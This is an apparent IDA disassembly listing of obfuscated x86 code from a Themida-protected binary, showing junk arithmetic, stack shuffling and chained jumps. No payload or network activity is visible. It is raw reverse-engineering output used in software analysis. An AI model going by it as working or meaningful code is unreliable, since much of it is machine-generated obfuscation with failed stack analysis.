		push	eax
		mov	ah, dl
		mov	ch, ah
		mov	eax, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	edx
		mov	dl, ch
		mov	bl, dl
		mov	edx, [esp-0Eh+arg_8+2]
		add	esp, 4
		pop	ecx
		push	[esp-16h+arg_10+2]
		pop	edx
		add	esp, 4
		push	ecx
		mov	cl, 3Bh
		shl	cl, 8
		dec	cl
		xor	cl, 0EBh
		push	ecx
		mov	cl, 0D2h
		add	al, cl
		pop	ecx
		sub	al, cl
		sub	al, 0D2h
		pop	ecx
		jmp	loc_572B71
; ---------------------------------------------------------------------------


loc_55E54B:				; CODE XREF: sub_55EDA7+132D2j
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		not	edx
		sub	esp, 4
		mov	[esp-16h+arg_10+2], ecx
		push	edx
		pop	ecx
		pop	edx
		or	ecx, 3703747Ah
		not	ecx
		jmp	loc_56BCD0
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E56A	proc near		; CODE XREF: sub_55EDA7+B64Dj
		push	ebx
		mov	ebx, 43B1342Fh
		jmp	loc_56A7BA
sub_55E56A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E575:				; CODE XREF: sub_55EDA7+12A6Ej
		push	6DF5h
		mov	[esp-16h+arg_10+2], edx
		jmp	sub_56FABD
; ---------------------------------------------------------------------------


loc_55E582:				; CODE XREF: sub_55EDA7+404Ej
		add	esp, 4
		pop	[esp-1Ah+arg_14+2]
		mov	edx, [esp-1Eh+arg_18+2]
		add	esp, 4
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp-1Eh+arg_18+2], eax
		jmp	loc_570C8B
; ---------------------------------------------------------------------------


loc_55E5A2:				; CODE XREF: sub_55EDA7+4EE3j
		sub	ebx, 3632505h
		mov	edx, [esp-1Eh+arg_18+2]
		add	esp, 4
		push	[esp-22h+arg_1C+2]
		pop	edi
		add	esp, 4
		push	ebx
		push	[esp-22h+arg_20+2]
		pop	ebx
		pop	[esp-22h+arg_1C+2]
		mov	esp, [esp-26h+arg_20+2]
		test	cx, ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55E5CD:				; CODE XREF: sub_55EDA7+FD1j
		inc	dh
		push	cx
		jmp	loc_569766
; ---------------------------------------------------------------------------


loc_55E5D6:				; CODE XREF: sub_55EDA7+7F6Cj
		sub	ebx, 0B219C492h
		sub	esi, ebx
		pop	ebx
		mov	ebp, [esp-24h+arg_20]
		add	esp, 4
		sub	esi, 2
		push	esi
		jmp	loc_56D678
; ---------------------------------------------------------------------------


loc_55E5F1:				; CODE XREF: sub_55EDA7+B392j
		push	esp
		pop	[esp-20h+arg_1C]
		add	[esp-24h+arg_20], 4
		mov	edx, [esp-24h+arg_20]
		add	esp, 4
		jmp	sub_56E96C
; ---------------------------------------------------------------------------


loc_55E60A:				; CODE XREF: sub_55EDA7+138ECj
		push	esp
		jmp	loc_568883
; ---------------------------------------------------------------------------


loc_55E610:				; CODE XREF: sub_55EDA7+B42Aj
		mov	edi, 1C0427AFh
		xor	edi, 2B082D47h
		sub	edi, 370C0AE4h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp-28h+arg_24]
		pop	esp
		push	0
		sub	[esp-28h+arg_24], edx
		pop	edx
		neg	edx
		xor	edx, 9D5C2F48h
		sub	esi, edx
		mov	edx, [esp-2Ch+arg_28]
		add	esp, 4
		jmp	loc_566484
; ---------------------------------------------------------------------------


loc_55E64B:				; CODE XREF: sub_55EDA7+547Bj
		mov	[esp-30h+arg_2C], ecx
		jmp	loc_571569
; ---------------------------------------------------------------------------


loc_55E653:				; CODE XREF: sub_55EDA7+13CC7j
		add	eax, ecx
		jmp	loc_56E59F
; ---------------------------------------------------------------------------


loc_55E65A:				; CODE XREF: sub_55EDA7+28F7j
		add	ebp, esi
		jmp	loc_56FE45
; ---------------------------------------------------------------------------


loc_55E661:				; CODE XREF: sub_55EDA7+3E06j
		push	0FCDh
		mov	[esp-2Ch+arg_28], ebp
		jmp	loc_570BF4
; ---------------------------------------------------------------------------


loc_55E66E:				; CODE XREF: sub_55EDA7+87F1j
		shr	dl, 8
		push	eax
		jmp	loc_56A0ED
; ---------------------------------------------------------------------------


loc_55E677:				; CODE XREF: sub_55EDA7+FF4Fj
		xchg	eax, [esp-28h+arg_24]
		jmp	loc_56DC27
; ---------------------------------------------------------------------------


loc_55E67F:				; CODE XREF: sub_55EDA7+A926j
		add	dword ptr [ebx], 1
		jmp	loc_5655B6
; ---------------------------------------------------------------------------


loc_55E68A:				; CODE XREF: sub_55EDA7+F8A8j
		add	esi, edi
		pop	edi
		add	esi, 2
		xor	esi, [esp-2Ch+arg_28]
		jmp	loc_56A4BD
; ---------------------------------------------------------------------------


loc_55E69B:				; CODE XREF: sub_55EDA7+677j
		push	edx
		mov	dh, al
		mov	cl, dh
		push	[esp-28h+arg_24]
		pop	edx
		sub	esp, 4
		mov	[esp-24h+arg_20], edi
		jmp	loc_567AD6
; ---------------------------------------------------------------------------


loc_55E6B2:				; CODE XREF: sub_55EDA7+11B96j
		dec	eax
		shl	eax, 3
		xor	eax, 0C59EDED4h
		sub	edi, eax
		pop	eax
		mov	ebx, edi
		pop	edi
		sub	ebp, 4FFE1C67h
		add	ebp, ebx
		add	ebp, 4FFE1C67h
		mov	ebx, [esp-2Ch+arg_28]
		add	esp, 4
		sub	esp, 4
		jmp	loc_563826
; ---------------------------------------------------------------------------


loc_55E6E0:				; CODE XREF: sub_55EDA7+3129j
		sub	edx, 4F57706Ah
		pop	eax
		add	edx, 4
		push	edx
		push	[esp-2Ch+arg_2C]
		pop	edx
		pop	[esp-2Ch+arg_28]
		mov	esp, [esp-30h+arg_2C]
		jmp	loc_57146F
; ---------------------------------------------------------------------------


loc_55E6FB:				; CODE XREF: sub_55EDA7+958Cj
		mov	[esp-30h+arg_2C], ebx
		jmp	loc_56C5AC
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E703	proc near		; CODE XREF: sub_55EDA7+6B14j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_562B1B
sub_55E703	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E70E:				; CODE XREF: sub_55EDA7+2A3Bj
		mov	edi, esi
		pop	esi
		add	edi, 37372AD2h
		push	ecx
		mov	ecx, 60B9AA38h
		xor	edi, ecx
		pop	ecx
		sub	eax, 78DF70BFh
		add	eax, edi
		add	eax, 78DF70BFh
		jmp	loc_56367B
; ---------------------------------------------------------------------------


loc_55E731:				; CODE XREF: sub_55EDA7+880j
		mov	[esp-34h+arg_30], ecx
		push	ebx
		jmp	loc_56990B
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_55E73A:				; CODE XREF: sub_56D8B3+Dj
		push	esp
		jmp	loc_56D351
; END OF FUNCTION CHUNK	FOR sub_56D8B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E740:				; CODE XREF: sub_55EDA7+12BECj
		add	ecx, 4
		push	eax
		mov	eax, 6FA92A6Ch
		and	eax, 38D16586h
		not	eax
		not	eax
		or	eax, 6E3E3C4Ch
		sub	eax, 5A9E6D83h
		xor	eax, 1420CECDh
		sub	ecx, eax
		pop	eax
		jmp	loc_56A939
; ---------------------------------------------------------------------------


loc_55E76C:				; CODE XREF: sub_55EDA7+433Bj
		xchg	esi, [esp-30h+arg_2C]
		pop	esp
		xor	ebx, eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp-2Ch+arg_28], ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp-30h+arg_2C]
		xor	[esp-30h+arg_2C], esi
		xor	esi, [esp-30h+arg_2C]
		jmp	loc_569935
; ---------------------------------------------------------------------------


loc_55E797:				; CODE XREF: sub_55EDA7+12553j
		xor	eax, [esp-30h+arg_2C]
		mov	esp, [esp-30h+arg_2C]
		push	[esp-30h+arg_2C]
		jmp	loc_564CAE
; ---------------------------------------------------------------------------


loc_55E7A5:				; CODE XREF: sub_55EDA7+FCFEj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56715D
; ---------------------------------------------------------------------------


loc_55E7B6:				; CODE XREF: sub_55EDA7+CF24j
		shr	ecx, 8
		dec	ecx
		xor	ecx, 4DBEBCh
		add	ebx, ecx
		pop	ecx
		jmp	loc_56E81B
; ---------------------------------------------------------------------------


loc_55E7C8:				; CODE XREF: sub_55EDA7+26Fj
		add	eax, ebx
		sub	eax, 729803F7h
		add	eax, 70334006h
		jmp	loc_56D6A8
; ---------------------------------------------------------------------------


loc_55E7D9:				; CODE XREF: sub_55EDA7+12DA3j
		add	ebx, ebp
		add	ebx, 640464B6h
		mov	ebp, [esp-2Ch+arg_28]
		add	esp, 4
		push	5089h
		mov	[esp-2Ch+arg_28], edx
		push	edi
		jmp	loc_56F088
; ---------------------------------------------------------------------------


loc_55E7F8:				; CODE XREF: sub_55EDA7+8EBCj
		push	esi
		mov	esi, esp
		jmp	loc_56315C
; ---------------------------------------------------------------------------


loc_55E800:				; CODE XREF: sub_55EDA7+12A39j
		sub	edi, edx
		jmp	loc_56B199
; ---------------------------------------------------------------------------


loc_55E807:				; CODE XREF: sub_55EDA7-352j
		push	ecx
		push	6A8Eh
		jmp	loc_561874
; ---------------------------------------------------------------------------


loc_55E812:				; CODE XREF: sub_55EDA7+A15Cj
		inc	dh
		add	dh, 0FCh
		xor	dh, 0D2h
		jmp	loc_570E0F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_55E81F:				; CODE XREF: sub_56C3E2+3j
		add	bh, 8Dh
		sub	al, bh
		pop	ebx
		add	al, 76h
		sub	al, bh
		sub	al, 76h
		push	ecx
		jmp	loc_563BBF
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E831:				; CODE XREF: sub_55EDA7+8CABj
		pop	esp
		push	edi
		jmp	loc_55F5A9
; ---------------------------------------------------------------------------


loc_55E838:				; CODE XREF: sub_55EDA7+336Bj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5681BF
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E846	proc near		; DATA XREF: Themida_:0055DF40o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056BC73 SIZE 00000013 BYTES

		lodsb
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2E90294Bh
		shl	edi, 3
		neg	edi
		push	eax
		mov	eax, 4D4F4559h
		or	eax, 79CD2F31h
		add	eax, 0BFD9CCDFh
		xor	edi, eax
		pop	eax
		inc	edi
		push	esi
		mov	esi, 0B6D789F5h
		xor	edi, esi
		pop	esi
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	bl, 44h
		neg	bl
		xor	bl, 1Eh
		or	bl, 0FEh
		jmp	loc_56BC73
sub_55E846	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E897:				; CODE XREF: sub_55EDA7+107C3j
		shr	esi, 7
		xor	esi, 8D68221h
		jmp	loc_5652E3
; ---------------------------------------------------------------------------


loc_55E8A5:				; CODE XREF: sub_55EDA7+103A8j
		or	ah, 0DAh
		push	edx
		jmp	loc_569D50
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E8AE	proc near		; CODE XREF: sub_55EDA7+3E89j
		push	ebx
		jmp	loc_5634C1
sub_55E8AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E8B4:				; CODE XREF: sub_55EDA7+AD9Dj
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], ecx
		jmp	loc_56A045
; ---------------------------------------------------------------------------


loc_55E8CB:				; CODE XREF: sub_55EDA7+12D53j
		push	eax
		push	edx
		mov	dl, 3Eh
		mov	al, 0E8h
		add	al, dl
		jmp	loc_55F1F3
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E8D8	proc near		; CODE XREF: sub_56D9BE+6j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0057236A SIZE 00000018 BYTES

		push	ebx
		push	6572196Bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		and	ebx, 3597278Eh
		add	ebx, 3716276Ah
		mov	eax, ebx
		pop	ebx
		or	ebx, eax
		pop	eax
		push	esi
		mov	esi, 0D31DE57Bh
		sub	ebx, esi
		pop	esi
		add	ebx, esi
		push	[esp-4+arg_0]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_57236A
sub_55E8D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E913:				; CODE XREF: sub_55EDA7+EABBj
		xchg	edi, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		jmp	loc_571925
; ---------------------------------------------------------------------------


loc_55E92D:				; CODE XREF: sub_55EDA7+13A3Ej
		mov	edi, edx
		pop	edx
		jmp	loc_560B49
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F632


loc_55E935:				; CODE XREF: sub_56F632+8j
		pop	ebx
		add	edi, ebp
		jmp	loc_56E9EF
; END OF FUNCTION CHUNK	FOR sub_56F632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E93D:				; CODE XREF: sub_55EDA7+FF0Dj
		pop	edx
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		push	51F9h
		mov	[esp-1Ch+arg_18], ecx
		push	[esp-1Ch+arg_1C]
		mov	ecx, [esp-18h+arg_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5690B1
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_56AB68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E973:				; CODE XREF: sub_55EDA7+52ABj
		pop	[esp-14h+arg_10]
		pop	esp
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55E97C:				; CODE XREF: sub_55EDA7+AAFDj
		sub	ecx, ebp
		add	ecx, 4FD422FEh
		jmp	loc_561E1B
; ---------------------------------------------------------------------------


loc_55E989:				; CODE XREF: sub_55EDA7+375Ej
		mov	ecx, 53D57E25h
		not	ecx
		xor	ecx, 8792FCBDh
		mov	eax, ecx
		pop	ecx
		sub	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		and	eax, ebp
		push	[esp-28h+arg_24]
		pop	ebp
		jmp	loc_564B1A
; ---------------------------------------------------------------------------


loc_55E9AA:				; CODE XREF: sub_55EDA7+6A7Aj
		pop	esp
		sub	esp, 4
		mov	[esp-28h+arg_24], ecx
		push	esi
		push	5448106Eh
		jmp	loc_56A50C
; ---------------------------------------------------------------------------


loc_55E9BF:				; CODE XREF: sub_55EDA7+1A8Ej
		mov	di, 5A0Ah
		jmp	loc_572C8F
; ---------------------------------------------------------------------------


loc_55E9C8:				; CODE XREF: sub_55EDA7+3102j
		mov	ebx, 695B59B1h
		jmp	loc_5632F3
; ---------------------------------------------------------------------------


loc_55E9D2:				; CODE XREF: sub_55EDA7+9C10j
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		pop	eax
		jmp	loc_56C114
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ED87


loc_55E9DE:				; CODE XREF: sub_55ED87+12j
		pop	ebp
		mov	eax, ebx
		pop	ebx
		shr	eax, 5
		shr	eax, 7
		neg	eax
		jmp	loc_563E68
; END OF FUNCTION CHUNK	FOR sub_55ED87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E9EF:				; CODE XREF: sub_55EDA7+7D81j
		mov	ecx, [esp-28h+arg_24]
		add	esp, 4
		xchg	ebp, [esp-2Ch+arg_28]
		jmp	loc_570431
; ---------------------------------------------------------------------------


loc_55E9FD:				; CODE XREF: sub_55EDA7+3F76j
		add	al, 0A9h
		jmp	loc_56837D
; ---------------------------------------------------------------------------


loc_55EA04:				; CODE XREF: sub_55EDA7+40BBj
		mov	edi, 17E41A55h
		jmp	loc_56FEBB
; ---------------------------------------------------------------------------


loc_55EA0E:				; CODE XREF: sub_55EDA7+A339j
		pop	eax
		jmp	loc_56CC5C
; ---------------------------------------------------------------------------


loc_55EA14:				; CODE XREF: sub_55EDA7+F416j
		sub	eax, 3BF776Bh
		sub	esp, 4
		jmp	loc_56EE81
; ---------------------------------------------------------------------------


loc_55EA21:				; CODE XREF: sub_55EDA7+99B2j
		push	esp
		pop	eax
		push	ebx
		jmp	loc_56D737
; ---------------------------------------------------------------------------


loc_55EA29:				; CODE XREF: sub_55EDA7+5D07j
		add	[esp-28h+arg_24], 5AE93654h
		pop	ecx
		sub	ecx, 5AE93654h
		mov	edi, [esp-2Ch+arg_28]
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	7B82h
		mov	[esp-2Ch+arg_28], ebx
		push	38h
		mov	ebx, [esp-28h+arg_24]
		jmp	loc_55E807
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E312


loc_55EA5A:				; CODE XREF: sub_55E312+F792j
		mov	[esp+4+var_4], esi
		push	4
		pop	esi
		add	ecx, esi
		jmp	loc_563B2A
; END OF FUNCTION CHUNK	FOR sub_55E312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55EA6A:				; CODE XREF: sub_55EDA7+8758j
		add	ecx, 829C8AF2h
		sub	ebx, ecx
		pop	ecx
		mov	edx, [esp-2Ch+arg_28]
		jmp	loc_571365
; ---------------------------------------------------------------------------


loc_55EA7B:				; CODE XREF: sub_55EDA7+11924j
		mov	esi, eax
		pop	eax
		or	esi, 5FA95F8Ah
		inc	esi
		push	edi
		mov	edi, 72A67987h
		jmp	loc_5639B1
; ---------------------------------------------------------------------------


loc_55EA90:				; CODE XREF: sub_55EDA7+105DBj
		not	ebp
		sub	ebp, 9FF399B0h
		sub	esi, ebp
		pop	ebp
		add	esi, 7494756Dh
		push	esi
		push	edx
		pop	esi
		pop	edx
		push	edi
		mov	edi, 0
		sub	edi, edx
		mov	edx, edi
		pop	edi
		jmp	loc_56425B
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_55EAB5:				; CODE XREF: Themida_:00570CC6j
		push	4C13h
		mov	[esp], ebp
		jmp	loc_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55EAC2:				; CODE XREF: sub_55EDA7+BC88j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55EAC7:				; CODE XREF: sub_55EDA7+8DCCj
		push	[esp-30h+arg_2C]
		mov	eax, [esp-2Ch+arg_28]
		push	edi
		jmp	loc_56692B
; ---------------------------------------------------------------------------


loc_55EAD3:				; CODE XREF: sub_55EDA7+12A83j
		pop	edx
		jmp	loc_563B70
; ---------------------------------------------------------------------------


loc_55EAD9:				; CODE XREF: sub_55EDA7+4079j
		pop	ebx
		push	6394h
		mov	[esp-2Ch+arg_28], ecx
		sub	esp, 4
		mov	[esp-28h+arg_24], eax
		mov	al, 0C8h
		mov	ch, 0FBh
		push	edx
		mov	dl, 0CBh
		sub	ch, dl
		pop	edx
		add	ch, al
		jmp	loc_56DB40
; ---------------------------------------------------------------------------


loc_55EAF9:				; CODE XREF: sub_55EDA7+6A15j
		sub	esp, 4
		mov	[esp-24h+arg_20], eax
		push	esi
		jmp	loc_572465
; ---------------------------------------------------------------------------


loc_55EB08:				; CODE XREF: sub_55EDA7+1274Cj
		add	edi, ebp
		jmp	loc_55FD34
; ---------------------------------------------------------------------------


loc_55EB0F:				; CODE XREF: sub_55EDA7+BBCEj
		shl	ebp, 5
		jmp	loc_565837
; ---------------------------------------------------------------------------


loc_55EB17:				; CODE XREF: sub_55EDA7+11311j
		pop	ebx
		sub	esp, 4
		mov	[esp-20h+arg_1C], ebx
		mov	ebx, 186A78DDh
		push	ebx
		mov	ebx, 566C5FFFh
		add	edi, 38101CB8h
		jmp	loc_562D87
; ---------------------------------------------------------------------------


loc_55EB37:				; CODE XREF: sub_55EDA7+7C6Bj
		mov	ecx, [esp-1Ch+arg_18]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 253D4C46h
		add	ebx, 4A521493h
		push	edi
		mov	edi, 38004354h
		xor	edi, 771A308Dh
		and	ebx, edi
		pop	edi
		shr	ebx, 3
		shr	ebx, 7
		xor	ebx, 78755236h
		xor	ebx, 5C02BD94h
		and	ebx, 74DC441Bh
		or	ebx, 10A366E9h
		dec	ebx
		xor	ebx, 34E766FEh
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], ebp
		xor	ebp, [esp-18h+arg_14]
		jmp	loc_56A6AA
; ---------------------------------------------------------------------------


loc_55EB94:				; CODE XREF: sub_55EDA7+DDF3j
		push	edx
		push	ecx
		mov	ch, 89h
		mov	dh, 42h
		add	dh, ch
		pop	ecx
		add	dh, 7Eh
		shr	dh, 7
		sub	dh, 6Dh
		dec	dh
		push	ecx
		mov	cl, 36h
		xor	cl, 7Eh
		sub	dh, cl
		pop	ecx
		mov	cl, dh
		pop	edx
		add	ah, cl
		pop	ecx
		sub	bh, ah
		pop	eax
		jmp	loc_560B7A
; ---------------------------------------------------------------------------


loc_55EBBF:				; CODE XREF: sub_55EDA7+15CEj
		shr	esi, 3
		add	esi, 1C4C9E6Bh
		push	ebp
		mov	ebp, esi
		push	3AF3h
		jmp	loc_567BC0
; ---------------------------------------------------------------------------


loc_55EBD5:				; CODE XREF: sub_55EDA7+124AFj
		push	edx
		mov	edx, 7170490Ch
		shl	edx, 6
		add	edx, 3546303Fh
		shl	edx, 5
		not	edx
		jmp	loc_5600AE
; ---------------------------------------------------------------------------


loc_55EBEE:				; CODE XREF: sub_55EDA7+8338j
		push	edx
		mov	edx, 4BA811F3h
		sub	ebx, edx
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_572193
; ---------------------------------------------------------------------------


loc_55EC04:				; CODE XREF: sub_55EDA7+7638j
		mov	[esp-14h+arg_10], ecx
		mov	cl, 3Eh
		push	46C5h
		mov	[esp-10h+arg_C], ebx
		jmp	loc_56DDE4
; ---------------------------------------------------------------------------


loc_55EC16:				; CODE XREF: sub_55EDA7+AFDAj
		pop	ebp
		dec	ecx
		push	edx
		mov	edx, 4F570BC1h
		add	edx, 4FDC2978h
		neg	edx
		and	edx, 19BC38EAh
		not	edx
		not	edx
		add	edx, 73C14422h
		xor	ecx, edx
		pop	edx
		neg	ecx
		xor	ecx, 0DE57EFA6h
		jmp	loc_56823E
; ---------------------------------------------------------------------------


loc_55EC46:				; CODE XREF: sub_55EDA7+13B49j
		push	[esp-14h+arg_10]
		pop	esi
		add	esp, 4
		push	0F8Ah
		mov	[esp-14h+arg_10], eax
		push	[esp-14h+arg_14]
		push	[esp-10h+arg_C]
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		mov	ax, word ptr [esp-18h+arg_14]
		push	37C2h
		mov	[esp-14h+arg_10], ebp
		sub	esp, 4
		mov	[esp-10h+arg_C], esp
		jmp	loc_566279
; ---------------------------------------------------------------------------


loc_55EC85:				; CODE XREF: sub_55EDA7+B8E0j
		shl	edx, 3
		shl	edx, 6
		add	edx, 76BBADE2h
		add	eax, edx
		pop	edx
		jmp	loc_56AAD1
; ---------------------------------------------------------------------------


loc_55EC99:				; CODE XREF: sub_55EDA7+D446j
		sub	[esp-14h+arg_14], esi
		push	eax
		mov	eax, 437E5815h
		add	[esp-10h+arg_14], eax
		pop	eax
		jmp	loc_56066F
; ---------------------------------------------------------------------------


loc_55ECAD:				; CODE XREF: sub_55EDA7+C469j
		xor	dh, cl
		jmp	loc_5729F9
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55ECB4	proc near		; CODE XREF: sub_55EDA7+2E8Aj
		sub	esp, 4
		jmp	loc_568574
sub_55ECB4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55ECBC:				; CODE XREF: sub_55EDA7+C955j
		push	edi
		mov	edi, 195251B8h
		not	edi
		push	ecx
		mov	ecx, 19FE4262h
		sub	edi, ecx
		pop	ecx
		sub	edi, 40632B19h
		and	edi, 2AF6684Ch
		push	ebp
		mov	ebp, 2ACA7FB1h
		push	edx
		jmp	loc_56FC59
; ---------------------------------------------------------------------------


loc_55ECE5:				; CODE XREF: sub_55EDA7+10946j
		mov	[edi+20h], edx
		pop	edx
		jmp	loc_565803
; ---------------------------------------------------------------------------


loc_55ECEE:				; CODE XREF: sub_55EDA7-6Dj
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_55FF04
; ---------------------------------------------------------------------------


loc_55ECF6:				; CODE XREF: sub_55EDA7+DE04j
		xor	edi, 388420BCh
		not	edi
		and	edi, 45452300h
		sub	edi, 2CD0A2D5h
		mov	ebp, edi
		jmp	loc_572ACB
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55ED11	proc near		; CODE XREF: sub_55EDA7+1286j
		sub	esp, 4
		jmp	loc_566F7E
sub_55ED11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55ED1C:				; CODE XREF: sub_55EDA7+113D3j
		pop	eax
		and	[edi+1Ch], ebx
		push	[esp-10h+arg_C]
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	3779h
		jmp	loc_55ECEE
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55ED3F	proc near		; DATA XREF: Themida_:0055E014o
		mov	eax, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_566E37
sub_55ED3F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55ED50:				; CODE XREF: sub_55EDA7+25FEj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_56FA50
; ---------------------------------------------------------------------------


loc_55ED62:				; CODE XREF: sub_55EDA7+12285j
		pop	edx
		shr	edx, 6
		xor	edx, 7625C4h
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		sub	esp, 2
		mov	word ptr [esp-4+arg_0],	ax
		jmp	loc_56F146
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55ED87	proc near		; CODE XREF: sub_55EDA7+E10Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055E9DE SIZE 00000011 BYTES

		push	ebp
		add	dword ptr [esp+0], 3F2F77BCh
		pop	ebx
		push	edx
		mov	edx, 3F2F77BCh
		sub	ebx, edx
		pop	edx
		jmp	loc_55E9DE
sub_55ED87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55ED9E:				; CODE XREF: sub_55EDA7+2BDj
		pop	ecx
		xor	edi, [esp-8+arg_4]
		jmp	loc_56E461
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55EDA7	proc near		; DATA XREF: Themida_:0055DF24o

var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= dword	ptr -4Eh
var_4A		= dword	ptr -4Ah
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3E		= dword	ptr -3Eh
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
